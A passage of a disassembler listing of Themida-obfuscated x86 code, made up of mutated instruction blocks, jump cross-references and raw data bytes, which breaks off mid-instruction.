loc_55DB74: ; CODE XREF: Themida_:00559387j sub ebx, esi push dword ptr [esp] pop esi sub esp, 4 mov [esp], edx push esp pop edx jmp loc_55B75A ; --------------------------------------------------------------------------- loc_55DB8A: ; CODE XREF: Themida_:00559FB8j add esp, 4 add eax, 4 push ecx push 7967h mov [esp], ebx jmp loc_565E62 ; --------------------------------------------------------------------------- loc_55DBA0: ; CODE XREF: Themida_:00563729j mov esi, 4 sub ebp, 3C7C7F03h sub ebp, esi add ebp, 3C7C7F03h pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_567DE1 ; --------------------------------------------------------------------------- db 81h, 0C5h, 23h dd 5F63DC1Bh, 0C581DD01h, 48E419FCh, 32E6ED81h, 835B4C47h dd 73E904ECh db 9Dh, 2 dup(0FFh) byte_55DBE3 db 66h ; DATA XREF: Themida_:0055620Co dd 8324048Bh, 0C8904ECh, 4EC8124h, 89000000h, 0E6E92424h db 0DAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DBFB: ; CODE XREF: Themida_:00558E05j add ecx, eax add ecx, 57051E2Ch jmp loc_55BFEE ; --------------------------------------------------------------------------- loc_55DC08: ; CODE XREF: Themida_:0056B4B4j pop edx mov ebp, edi mov edi, [esp] add esp, 4 push ebx jmp loc_55696F ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFFD5DCh, 0E924348Bh, 0FFFFA813h ; --------------------------------------------------------------------------- loc_55DC28: ; CODE XREF: Themida_:0055C711j push edi mov edi, 41D078E4h dec edi dec edi not edi not edi add edi, 0BE2F8722h add esi, edi pop edi xchg esi, [esp] mov esp, [esp] add esp, 4 movzx eax, al push dword ptr [edi+eax*4] sub esp, 4 jmp loc_55AF1C ; --------------------------------------------------------------------------- loc_55DC57: ; CODE XREF: Themida_:00569F31j mov edi, edx pop edx sub edx, 41D4482Fh add edx, edi add edx, 41D4482Fh jmp loc_56C7EA ; --------------------------------------------------------------------------- loc_55DC6D: ; CODE XREF: Themida_:0056458Dj mov ecx, 335D58BDh or edx, ecx pop ecx sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], ecx mov ecx, 0BBFFDFBDh jmp loc_566E5B ; --------------------------------------------------------------------------- loc_55DC91: ; CODE XREF: Themida_:00563D3Cj not esi not esi sub esi, 1 push ecx mov ecx, 297969C8h jmp loc_56315A ; --------------------------------------------------------------------------- loc_55DCA3: ; CODE XREF: Themida_:005588DFj mov ebp, 58BB2964h sub esi, ebp pop ebp sub esi, 55AE2E90h push ecx mov ecx, 49007C0Dh add esi, ecx pop ecx jmp loc_55CE2B ; --------------------------------------------------------------------------- db 81h dd 425C6DF3h, 0B58D0F2Fh, 0E9FFFF91h, 0FFFFF66Ch, 0FFD7885Bh dd 505A2434h, 4055854h, 0E9000000h, 617Bh, 8B240C87h, 89662424h dd 0E952240Ch, 0FFFFF5E3h, 42CA68h, 6B70E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DCFE: ; CODE XREF: Themida_:00566E8Cj not esi push 1BEAh mov [esp], ecx push 20A14923h pop ecx sub ecx, 0EC6A1FEFh sub esi, ecx pop ecx mov edx, esi mov esi, [esp] add esp, 4 jmp loc_55F75B ; --------------------------------------------------------------------------- loc_55DD27: ; CODE XREF: Themida_:0055E346j and ecx, 31804E9Ah xor ecx, 267C6AB0h push esi mov esi, 45AC30EDh add esi, 2A614F09h xor ecx, esi pop esi add ebx, ecx pop ecx push 5D88h jmp loc_56532B ; --------------------------------------------------------------------------- loc_55DD4F: ; CODE XREF: Themida_:0055B701j push eax mov eax, 0E0926E8h push esi mov esi, 345FF3F4h add eax, esi mov esi, [esp] add esp, 4 mov ebp, eax pop eax jmp loc_558BEC ; --------------------------------------------------------------------------- dw 0BB53h dd 1AB133E3h, 0CD01C381h, 0E981238Fh, 23015F20h, 0C181D929h dd 23015F20h, 0B409E9h db 0 ; --------------------------------------------------------------------------- loc_55DD8D: ; CODE XREF: Themida_:0055D9CFj add ebp, edi jmp loc_56A56D ; --------------------------------------------------------------------------- dd 0E924048Bh, 0FFFFB192h ; --------------------------------------------------------------------------- loc_55DD9C: ; CODE XREF: Themida_:loc_56006Dj xor bl, 0D6h and bl, 48h jmp loc_55837D ; --------------------------------------------------------------------------- loc_55DDA7: ; CODE XREF: Themida_:0055BAC7j pop ebx sub esi, 1 shl esi, 5 neg esi shl esi, 4 push ebp mov ebp, 6FED0FECh or ebp, 16CF3068h sub ebp, 13016EF4h jmp loc_563073 ; --------------------------------------------------------------------------- loc_55DDCA: ; CODE XREF: Themida_:00563E5Aj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov ebx, [esp] push 773h mov [esp], eax push esp pop eax add eax, 4 push 24B0h mov [esp], ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] pop esp loc_55DDFC: ; CODE XREF: Themida_:00558294j push 173Eh mov [esp], ebx mov eax, [esp] push edx push esp pop edx jmp loc_564D86 ; --------------------------------------------------------------------------- loc_55DE0F: ; CODE XREF: Themida_:0055AAAEj shl edi, 5 jnp loc_55D554 sub edi, 74CC8DDDh mov ebx, edi pop edi push edi pop esi loc_55DE23: ; CODE XREF: Themida_:0055643Dj mov ch, al push eax mov ah, ch mov bl, ah pop eax jmp loc_55BE91 ; --------------------------------------------------------------------------- loc_55DE30: ; CODE XREF: Themida_:0056197Aj push 482h mov [esp], edx jmp loc_55E87C ; --------------------------------------------------------------------------- db 81h, 0F7h, 61h aPEsp db 'P-eИPб',0 align 4 loc_55DE48: ; CODE XREF: Themida_:0056240Dj add ecx, 6FFB5240h jmp loc_564F11 ; --------------------------------------------------------------------------- loc_55DE53: ; CODE XREF: Themida_:0055FDC3j ; Themida_:00566F96j add ebp, 0DBF672D7h add eax, ebp pop ebp sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edi push esp jmp loc_5576D4 ; --------------------------------------------------------------------------- dw 0EF81h dd 6D50454Ah, 335FFE01h, 34312434h, 24343324h, 0CC81E9h db 0 ; --------------------------------------------------------------------------- loc_55DE85: ; CODE XREF: Themida_:005655D6j mov [esp], ebx mov bh, 11h shr bh, 7 shl bh, 7 jmp loc_568DC0 ; --------------------------------------------------------------------------- loc_55DE95: ; CODE XREF: Themida_:00556E6Dj sub edi, 8C021E0h add edi, esi jmp loc_55CC75 ; --------------------------------------------------------------------------- loc_55DEA2: ; CODE XREF: Themida_:00558B0Ej mov eax, [esp] push eax jmp loc_55EBFB ; --------------------------------------------------------------------------- loc_55DEAB: ; CODE XREF: Themida_:00564C70j pop esi jmp loc_55853C ; --------------------------------------------------------------------------- loc_55DEB1: ; CODE XREF: Themida_:00559EFBj dec ecx jmp loc_564AEF ; --------------------------------------------------------------------------- loc_55DEB7: ; CODE XREF: Themida_:005654F0j push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edi sub esp, 4 jmp loc_56A8A1 ; --------------------------------------------------------------------------- dword_55DEC8 dd 0E92C77FFh, 0FFFF8417h, 6AE9CF01h ; DATA XREF: Themida_:0055618Co db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DED7: ; CODE XREF: Themida_:00562E5Bj sub eax, 0B4E8944Bh add edi, 67D24A1Bh add edi, eax sub edi, 67D24A1Bh pop eax push edx jmp loc_56B7B3 ; --------------------------------------------------------------------------- aI_14sis db '┴<$©<.14И┴≥',0 align 2 aHi db 'h╗>',0 dw 8900h a4S db '4$И/╪',0 db 0 ; --------------------------------------------------------------------------- loc_55DF0B: ; CODE XREF: Themida_:0056C9CCj jmp loc_569558 ; --------------------------------------------------------------------------- dd 0B151182Ch, 8BC80826h, 0C483240Ch, 0E9792C04h, 0FFFFE1CAh ; --------------------------------------------------------------------------- loc_55DF24: ; CODE XREF: Themida_:0056BB5Ej add al, dh pop edx pop bx push ecx jmp loc_56A793 ; --------------------------------------------------------------------------- loc_55DF2F: ; CODE XREF: Themida_:00562085j push cx pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55DF37: ; CODE XREF: Themida_:00567151j pop esp sub bl, al sub bl, 0FCh push eax mov eax, esp jmp loc_55DAEA ; --------------------------------------------------------------------------- db 81h, 0EBh, 51h dd 0F38D459h, 923186h, 3DE38100h, 0F77C4626h, 2AEB81D3h db 72h, 0B9h, 63h ; --------------------------------------------------------------------------- loc_55DF5F: ; CODE XREF: Themida_:0055F0ACj xchg ebx, [esp] pop esp jmp loc_564551 ; --------------------------------------------------------------------------- aMsl db '╛И▀}',0 ; DATA XREF: Themida_:00556278o align 2 loc_55DF6E: ; CODE XREF: Themida_:00560889j mov bl, 0D3h inc bl shl bl, 2 neg bl or bl, 0A0h or bl, 30h sub bl, 88h sub dl, bl pop ebx add dl, ch add dl, 28h pop ecx push ecx push ebx mov bl, 0E6h jmp loc_5612D2 ; --------------------------------------------------------------------------- dw 489h dd 0A30B824h, 0EA81706Dh, 61F84364h, 0C281C229h, 61F84364h dd 62B5E9h db 0 ; --------------------------------------------------------------------------- loc_55DFAD: ; CODE XREF: Themida_:0055CC5Ej jmp loc_5562E7 ; --------------------------------------------------------------------------- aWsu db 'WИЦ-',0 align 4 loc_55DFB8: ; CODE XREF: Themida_:00567D14j sub eax, ebp add eax, 5FCF4FF5h mov ebp, [esp] jmp loc_56050B ; --------------------------------------------------------------------------- loc_55DFC7: ; CODE XREF: Themida_:00563204j pop ebx add cl, 6Fh jmp loc_559F39 ; --------------------------------------------------------------------------- dd 318ABE56h, 0E6815B70h, 256274AEh, 164DC681h, 0C6811801h dd 1, 932FE9h db 0 ; --------------------------------------------------------------------------- loc_55DFED: ; CODE XREF: Themida_:005634CFj jns loc_56C261 inc ebp jl loc_5581C4 jmp loc_568EA2 ; --------------------------------------------------------------------------- db 5 dd 4 ; --------------------------------------------------------------------------- loc_55E004: ; CODE XREF: Themida_:00568FF2j add edx, ebx pop ebx sub edx, 4 xchg edx, [esp] jmp loc_5583BB ; --------------------------------------------------------------------------- loc_55E015: ; CODE XREF: Themida_:00556F72j sub dl, ch pop ecx push eax push ecx mov cl, 22h or cl, 0C1h js loc_569A8C shl cl, 2 jnp loc_56A353 mov ah, 0C2h pop ebp loc_55E032: ; CODE XREF: Themida_:00556DA0j ; Themida_:0056A37Ej push ebx jmp loc_55790A ; --------------------------------------------------------------------------- loc_55E038: ; CODE XREF: Themida_:00566AE8j pop ecx jmp loc_55AC84 ; --------------------------------------------------------------------------- dw 0F929h dd 4EC835Fh, 0FFAD53E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E049: ; CODE XREF: Themida_:00560AD7j mov ebp, edx pop edx xor ebp, 556F614Eh add eax, ebp mov ebp, [esp] add esp, 4 sub eax, 729256C9h push esi push 1D5370A5h pop esi jmp loc_568F84 ; --------------------------------------------------------------------------- loc_55E06E: ; CODE XREF: Themida_:00562529j add al, 2Dh pop edx add bl, al pop eax sub bl, al jmp loc_55D66D ; --------------------------------------------------------------------------- loc_55E07B: ; CODE XREF: Themida_:00563423j xor eax, 7C3A322Bh sub eax, 0FB96CB2Dh push esi mov esi, 8F94B55h inc esi sub esp, 4 mov [esp], esi not dword ptr [esp] jmp loc_5632E6 ; --------------------------------------------------------------------------- loc_55E09D: ; CODE XREF: Themida_:0055E9D4j mov [esp], esi jmp loc_55A7E1 ; --------------------------------------------------------------------------- db 80h, 0E6h, 1Bh dd 0B030E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E0AE: ; CODE XREF: Themida_:0055AFF8j or ebx, 33A5365Bh jno loc_5571ED inc ebx jns loc_556E9C jmp loc_560866 ; --------------------------------------------------------------------------- loc_55E0C6: ; CODE XREF: Themida_:00569D66j push edi jmp loc_55CE80 ; --------------------------------------------------------------------------- loc_55E0CC: ; CODE XREF: Themida_:0056BEC3j pop ebx push edi push 40000h push dword ptr [esp] mov edi, [esp] jmp loc_561307 ; --------------------------------------------------------------------------- loc_55E0DE: ; CODE XREF: Themida_:0055E8E5j mov ecx, [esp] add esp, 4 mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_55B6D5 ; --------------------------------------------------------------------------- loc_55E0F8: ; CODE XREF: Themida_:00557D8Dj ; Themida_:00569A98j pop edi add ebp, edi sub ebp, 4D926DEEh mov edi, [esp] jmp loc_56BA64 ; --------------------------------------------------------------------------- db 0Fh, 82h, 4Dh dd 800000EEh, 8C0FEBCAh, 0FFFFEDF6h, 0E97DCA80h, 0FFFFB3D6h dd 0C8BF5751h db 6Bh, 0C4h, 4 ; --------------------------------------------------------------------------- loc_55E127: ; CODE XREF: Themida_:00558721j add esp, 4 jmp loc_56D6E9 ; --------------------------------------------------------------------------- dw 0BB53h dd 3D017273h, 55BD801h, 39895696h, 4ED668h, 243C8900h dd 0AAE95F54h, 0BEFFFF9Ah, 51CD3146h, 0E95EF709h, 0FFFF9E0Eh dd 7B61F181h, 0E9503F74h, 0FFFFBB60h, 7A3B6BB8h, 0BC08E92Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E172: ; CODE XREF: Themida_:0056C765j add esp, 4 push ebx mov ebx, esp push edx mov edx, 645C0BA3h shr edx, 3 push ebx jmp loc_55881A ; --------------------------------------------------------------------------- loc_55E18A: ; CODE XREF: Themida_:0056CDE9j push dword ptr [esp] pop esi add esp, 4 xchg edx, [esp] pop esp test ecx, eax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55E1A0: ; CODE XREF: Themida_:0056A1F6j add esp, 4 jmp loc_55FC9A ; --------------------------------------------------------------------------- loc_55E1AB: ; CODE XREF: Themida_:0056C28Cj push 7B4D00CEh pop edi and edi, 659D407Dh js loc_560770 jmp loc_56B6CB ; --------------------------------------------------------------------------- loc_55E1C2: ; CODE XREF: Themida_:00559B38j pop esi jmp loc_561BA9 ; --------------------------------------------------------------------------- loc_55E1C8: ; CODE XREF: Themida_:00556926j push edx jmp loc_56AC1B ; --------------------------------------------------------------------------- loc_55E1CE: ; CODE XREF: Themida_:0055D926j ; Themida_:005644A3j pop ebp jmp loc_55F566 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0D9A4E9h db 0 byte_55E1DD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00556258o dd 1C176824h, 2C890000h, 6EA16824h, 24890000h, 0F43FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1F6: ; CODE XREF: Themida_:005689E7j mov ecx, ebx jmp loc_5618CB ; --------------------------------------------------------------------------- loc_55E1FD: ; CODE XREF: Themida_:0055F419j add ebx, edx jmp loc_55F4F8 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFF80DBh ; --------------------------------------------------------------------------- loc_55E20C: ; CODE XREF: Themida_:00566EE9j jmp loc_5697A4 ; --------------------------------------------------------------------------- db 2Dh, 7Fh, 15h dd 1DE922D8h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E21B: ; CODE XREF: Themida_:0055B8A2j pop esp push ebx push esp pop ebx add ebx, 4 jmp loc_55965C ; --------------------------------------------------------------------------- loc_55E22A: ; CODE XREF: Themida_:005617DFj pop ecx mov dl, 0ACh sub dl, 0CBh add dl, 8Eh jmp loc_55F9F5 ; --------------------------------------------------------------------------- loc_55E238: ; CODE XREF: Themida_:0055D9C5j add dword ptr [esp], 4 pop ebp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx jmp loc_568A9A ; --------------------------------------------------------------------------- loc_55E25D: ; CODE XREF: Themida_:0056D48Ej push 64CFh mov [esp], esp sub esp, 4 mov [esp], edx push edi mov edi, 45795A47h xor edi, 45795A43h push ebx push edi jmp loc_55CB8D ; --------------------------------------------------------------------------- loc_55E27E: ; CODE XREF: Themida_:005620E9j add edi, ebx sub edi, 56951272h add edi, 0B292DE9h mov ebx, [esp] jmp loc_564C3E ; --------------------------------------------------------------------------- loc_55E294: ; CODE XREF: Themida_:0056A568j sub eax, 28402017h jmp loc_558488 ; --------------------------------------------------------------------------- loc_55E29E: ; CODE XREF: Themida_:0056A8B3j mov esi, 6A951F4Dh jmp loc_55E36B ; --------------------------------------------------------------------------- loc_55E2A8: ; CODE XREF: Themida_:00562743j sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 14933645h add ebx, ecx push dword ptr [esp] jmp loc_557EB6 ; --------------------------------------------------------------------------- loc_55E2C1: ; CODE XREF: Themida_:0056BF33j xor ebp, 32B35759h add ebx, ebp pop ebp add ebx, eax sub ebx, 6E180B9Bh push edx push eax mov eax, 4B9145A0h push edi push edx mov edx, 7B5A0E97h mov edi, edx pop edx mov edx, 0CE9439D3h sub edx, edi pop edi xor edx, eax pop eax jmp loc_566875 ; --------------------------------------------------------------------------- db 68h dd 1F6Dh, 0B4240489h, 5A7FE905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E302: ; CODE XREF: Themida_:0055A529j xor ch, dl jmp loc_5659E3 ; --------------------------------------------------------------------------- loc_55E309: ; CODE XREF: Themida_:0055ACE7j and ebp, 25A316D3h add ebp, 226F5FA4h jmp loc_556CDB ; --------------------------------------------------------------------------- loc_55E31A: ; CODE XREF: Themida_:0055C2B1j add esi, 0A1F5E0BAh mov edx, esi pop esi jmp loc_5629E8 ; --------------------------------------------------------------------------- dd 721C781h, 76E97AE0h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E333: ; CODE XREF: Themida_:0056675Aj pop edx push 2739h mov [esp], edi jmp loc_5567F3 ; --------------------------------------------------------------------------- loc_55E341: ; CODE XREF: Themida_:005586D9j xchg edi, ecx shl ecx, 3 jmp loc_55DD27 ; --------------------------------------------------------------------------- loc_55E34B: ; CODE XREF: Themida_:0056CB9Ej push edx mov edx, 3D3060D4h shr edx, 3 add edx, 0F859F3EAh add edi, edx pop edx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_56A5D8 ; --------------------------------------------------------------------------- loc_55E36B: ; CODE XREF: Themida_:0055933Aj ; Themida_:0055E2A3j dec esi xor esi, 38FF0945h sub edi, 21347190h add edi, esi add edi, 21347190h pop esi push dword ptr [esp] jmp loc_56C67E ; --------------------------------------------------------------------------- loc_55E389: ; CODE XREF: Themida_:0055F692j xor ecx, 0B12473Ch dec ecx dec ecx push eax jmp loc_55A61F ; --------------------------------------------------------------------------- loc_55E397: ; CODE XREF: Themida_:00566CDDj add eax, ebx jmp loc_5630D8 ; --------------------------------------------------------------------------- dw 0C221h dd 42DAF758h, 0A7E9D2F7h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E3AB: ; CODE XREF: Themida_:0055C84Ej mov edx, 0A6536ABh add edx, 62007985h jo loc_56BD59 shr edx, 4 push edi mov edi, 5FED1EC4h add edx, 498B28B7h add edx, edi sub edx, 498B28B7h mov edi, [esp] add esp, 4 jmp loc_55C3ED ; --------------------------------------------------------------------------- loc_55E3DE: ; CODE XREF: Themida_:005597CDj add esp, 4 add edx, esi jmp loc_565880 ; --------------------------------------------------------------------------- db 45h dd 4FB78C0Fh, 2BE90000h db 0DFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E3F7: ; CODE XREF: Themida_:0055FFABj mov dl, cl pop ecx push esi push esp pop esi add esi, 4 jmp loc_55C12A ; --------------------------------------------------------------------------- loc_55E408: ; CODE XREF: Themida_:0056A805j sub edx, 110850AAh sub edx, ecx add edx, 110850AAh pop ecx push edx push dword ptr [esp+4] push dword ptr [esp] jmp loc_55A552 ; --------------------------------------------------------------------------- loc_55E424: ; CODE XREF: Themida_:005565F8j sub ebx, 0DF87461h not ebx dec ebx jmp loc_565B7E ; --------------------------------------------------------------------------- loc_55E432: ; CODE XREF: Themida_:0055F332j movsx ecx, al push edi mov edi, esp jmp loc_567528 ; --------------------------------------------------------------------------- loc_55E43D: ; CODE XREF: Themida_:0055760Cj xor edx, 40F6BC95h jmp loc_559F75 ; --------------------------------------------------------------------------- loc_55E448: ; CODE XREF: Themida_:0055CB2Bj add ebp, edx sub ebp, 4F481532h pop edx push edi sub esp, 4 mov [esp], edx mov edx, 6A7D4CD8h inc edx sub edx, 1 not edx add edx, 82A082FFh mov edi, edx pop edx jmp loc_56032C ; --------------------------------------------------------------------------- loc_55E477: ; CODE XREF: Themida_:005574C3j add edx, 4 xchg edx, [esp] pop esp jmp loc_55F092 ; --------------------------------------------------------------------------- loc_55E483: ; CODE XREF: Themida_:0055DA0Cj mov esi, [esp] add esp, 4 and eax, ebp pop ebp or eax, eax jmp loc_56BB01 ; --------------------------------------------------------------------------- loc_55E496: ; CODE XREF: Themida_:005616A3j jp loc_5655F9 jmp loc_568444 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 db 3 dup(0) ; --------------------------------------------------------------------------- loc_55E4A7: ; CODE XREF: Themida_:0056084Fj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_55BC94 ; --------------------------------------------------------------------------- aNusln db '╜UИl█',0 ; DATA XREF: Themida_:005560DCo db 0 ; --------------------------------------------------------------------------- loc_55E4C5: ; CODE XREF: Themida_:00556DA6j push ecx push edx mov dl, 0ABh inc dl push cx mov cl, 65h and dl, cl jmp loc_55A42C ; --------------------------------------------------------------------------- dw 0AB8h dd 1FA6D33h, 0C2895EF0h, 48ECE9h db 0 ; --------------------------------------------------------------------------- loc_55E4E5: ; CODE XREF: Themida_:0055F422j mov esp, [esp] mov [esp], ebx mov ebx, [esp] jmp loc_56BF0A ; --------------------------------------------------------------------------- db 0BEh dd 20EA5F58h, 0D9CCE81h, 58E96767h, 0B8FFFF8Ah, 4, 4246C81h dd 121D2EB0h, 4244401h, 6659E9h db 0 ; --------------------------------------------------------------------------- loc_55E519: ; CODE XREF: Themida_:005632B0j pop esp add esi, 0FFDABF7Ch sub edx, esi pop esi jmp loc_5562E7 ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 0FFEB8000h, 310C68h, 240C8900h, 0E950B1B5h dd 0D82Eh ; --------------------------------------------------------------------------- loc_55E544: ; CODE XREF: Themida_:00557190j add eax, edx jmp loc_56765C ; --------------------------------------------------------------------------- loc_55E54B: ; CODE XREF: Themida_:loc_55C642j add edx, 0B5730FF0h add edi, edx push dword ptr [esp] pop edx add esp, 4 xor eax, edi mov edi, [esp] push ebx push esp pop ebx push edi mov edi, 4 add ebx, edi mov edi, [esp] add esp, 4 jmp loc_56B7BF ; --------------------------------------------------------------------------- db 9 dd 0E99C2404h, 0FFFF7D63h, 71E268h, 243C8900h, 0CA1E9h db 0 ; --------------------------------------------------------------------------- loc_55E591: ; CODE XREF: Themida_:0056C31Dj add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55EB36 ; --------------------------------------------------------------------------- loc_55E5A8: ; CODE XREF: Themida_:0055BC9Fj pop edx push 26AAh mov [esp], eax push ebp mov ebp, 210269C7h shr ebp, 5 jmp loc_560C2E ; --------------------------------------------------------------------------- db 81h dd 4018F6F3h, 0E9DF2900h, 0FFFFA9E5h ; --------------------------------------------------------------------------- loc_55E5CC: ; CODE XREF: Themida_:0056790Fj add [esp+4], esi pop esi push dword ptr [esp] push dword ptr [esp] pop edi jmp loc_56AFCA ; --------------------------------------------------------------------------- loc_55E5DD: ; CODE XREF: Themida_:0056D52Bj sub eax, 4 xchg eax, [esp] jmp loc_5665D9 ; --------------------------------------------------------------------------- loc_55E5EA: ; CODE XREF: Themida_:0056872Aj xchg ebx, [esp] pop esp loc_55E5EE: ; CODE XREF: Themida_:005564F9j ; Themida_:loc_5582B5j push dword ptr [esp] push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_56B879 ; --------------------------------------------------------------------------- loc_55E602: ; CODE XREF: Themida_:0055FD4Aj ; Themida_:00564513j push dword ptr [esp] jmp loc_5579AC ; --------------------------------------------------------------------------- word_55E60A dw 34FFh ; DATA XREF: Themida_:00556040o dd 0E4EBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E612: ; CODE XREF: Themida_:loc_564257j jmp loc_5643EC ; --------------------------------------------------------------------------- byte_55E617 db 0FFh ; DATA XREF: Themida_:00556230o a4S_0 db '4$И%ф',0 db 0 ; --------------------------------------------------------------------------- loc_55E61F: ; CODE XREF: Themida_:0056BB7Cj pop ecx sub edx, edi jmp loc_564F06 ; --------------------------------------------------------------------------- loc_55E627: ; CODE XREF: Themida_:00566BEAj sub edx, 0FFFFFFFFh push ebx push 2F463F71h pop ebx sub ebx, 0A460C9Bh not ebx xor ebx, 0D6F8AFD4h jmp loc_55F8A7 ; --------------------------------------------------------------------------- loc_55E644: ; CODE XREF: Themida_:005622EBj mov ebp, edi jmp loc_55AE9D ; --------------------------------------------------------------------------- db 5Bh dd 5304C483h, 0FF8274E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E655: ; CODE XREF: Themida_:0055FEFCj mov eax, 54F17180h add eax, 7AB4648Bh or eax, 0AFE3986h push ebp mov ebp, 6383C105h add eax, ebp pop ebp xor ebp, eax jmp loc_55FD34 ; --------------------------------------------------------------------------- loc_55E674: ; CODE XREF: Themida_:0056A58Bj mov [esp], ecx jmp loc_55FB54 ; --------------------------------------------------------------------------- loc_55E67C: ; CODE XREF: Themida_:00563A12j xchg edi, [esp] jmp loc_55FBF3 ; --------------------------------------------------------------------------- dd 927C0EBFh, 0EEF5E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E68E: ; CODE XREF: Themida_:00569CE9j add [esp+4], eax jmp loc_56132E ; --------------------------------------------------------------------------- db 0C0h dd 4BE902E0h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E69F: ; CODE XREF: Themida_:0056C20Aj push 5EE1h push esp pop dword ptr [esp] jmp loc_564F49 ; --------------------------------------------------------------------------- loc_55E6AD: ; CODE XREF: Themida_:00565565j mov dl, 0D1h xor cl, dl pop edx mov dh, cl pop ecx sub bl, dh mov dx, [esp] jmp loc_566BEF ; --------------------------------------------------------------------------- loc_55E6C0: ; CODE XREF: Themida_:00569877j add esp, 2 jmp loc_557D2E ; --------------------------------------------------------------------------- loc_55E6CB: ; CODE XREF: Themida_:loc_56B6FDj sub edi, 2A817336h or edi, 7DE1F60h shl edi, 3 or edi, 787B78A7h jmp loc_56413F ; --------------------------------------------------------------------------- loc_55E6E5: ; CODE XREF: Themida_:0055FCEDj xchg ebp, [esp] jmp loc_56704F ; --------------------------------------------------------------------------- db 54h, 8Bh, 0Ch dd 4C48324h, 4C181h, 0CB680000h, 8900003Ah, 85E92434h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E707: ; CODE XREF: Themida_:00558230j mov esi, 4 push esi sub dword ptr [esp], 3EF01689h pop ecx add ecx, 3EF01689h pop esi add ebp, ecx jmp loc_56838A ; --------------------------------------------------------------------------- loc_55E723: ; CODE XREF: Themida_:00560E5Fj add edx, ebp add edx, 514B07D8h push ebx mov ebx, 600E3035h jmp loc_55D912 ; --------------------------------------------------------------------------- loc_55E736: ; CODE XREF: Themida_:0055CE5Fj push eax mov ah, 6Fh jmp loc_557245 ; --------------------------------------------------------------------------- loc_55E73E: ; CODE XREF: Themida_:00569F11j pop esi pop ebx push esi mov esi, 0A351382h and esi, 743B1230h shr esi, 8 shl esi, 4 sub esi, 0A66BA067h jmp loc_556ACA ; --------------------------------------------------------------------------- loc_55E75D: ; CODE XREF: Themida_:0055D4FFj and eax, 2D4F7B8Eh jz loc_56B6BB add eax, 5D9638EDh mov ecx, eax pop eax jmp loc_55A100 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0DFh dd 122BC03h, 0CCDFE9F5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E782: ; CODE XREF: Themida_:00564FE1j push eax mov ah, 0DFh add bh, ah pop eax mov dl, bh pop ebx jmp loc_56056A ; --------------------------------------------------------------------------- loc_55E790: ; CODE XREF: Themida_:0055F54Fj add bh, al jmp loc_563260 ; --------------------------------------------------------------------------- loc_55E797: ; CODE XREF: Themida_:00567131j sub esp, 4 mov [esp], ebx mov ebx, 178B72BBh or ebx, 56641393h sub esp, 4 mov [esp], ebx not dword ptr [esp] pop ebx and ebx, 754747B1h add ebx, 0D224C70Bh jmp loc_56854C ; --------------------------------------------------------------------------- loc_55E7C6: ; CODE XREF: Themida_:00568714j push 93368E33h jmp loc_56AE82 ; --------------------------------------------------------------------------- loc_55E7D0: ; CODE XREF: Themida_:0056A438j push dword ptr [esp] pop ebp jmp loc_56C45E ; --------------------------------------------------------------------------- loc_55E7D9: ; CODE XREF: Themida_:0056B343j and esi, 51927BF5h jbe loc_55FBBE not esi jmp loc_562E4E ; --------------------------------------------------------------------------- aVSmv db '╫╒',0Bh,'╧[И╛V',0 align 2 loc_55E7F6: ; CODE XREF: Themida_:0056A78Ej push 2621h mov [esp], edx mov dh, cl mov bl, dh push dword ptr [esp] jmp loc_568849 ; --------------------------------------------------------------------------- dw 0E0D0h dd 0CBEC8B0Fh, 0C234FFFFh, 0C3885352h, 885BDA88h, 0FF895AD5h dd 242C8951h, 0DEF1E9h db 0 ; --------------------------------------------------------------------------- loc_55E829: ; CODE XREF: Themida_:00564B19j sub edi, 20E65EDh push ebx jmp loc_56C90D ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 8ABF243Ch, 0E9192250h, 3047h ; --------------------------------------------------------------------------- loc_55E848: ; CODE XREF: Themida_:0055F02Ej mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_565DB8 ; --------------------------------------------------------------------------- dd 0F192C681h, 0F029015Fh, 3BD2E9h db 0 ; --------------------------------------------------------------------------- loc_55E871: ; CODE XREF: Themida_:005699BDj push eax mov al, 2Eh shr al, 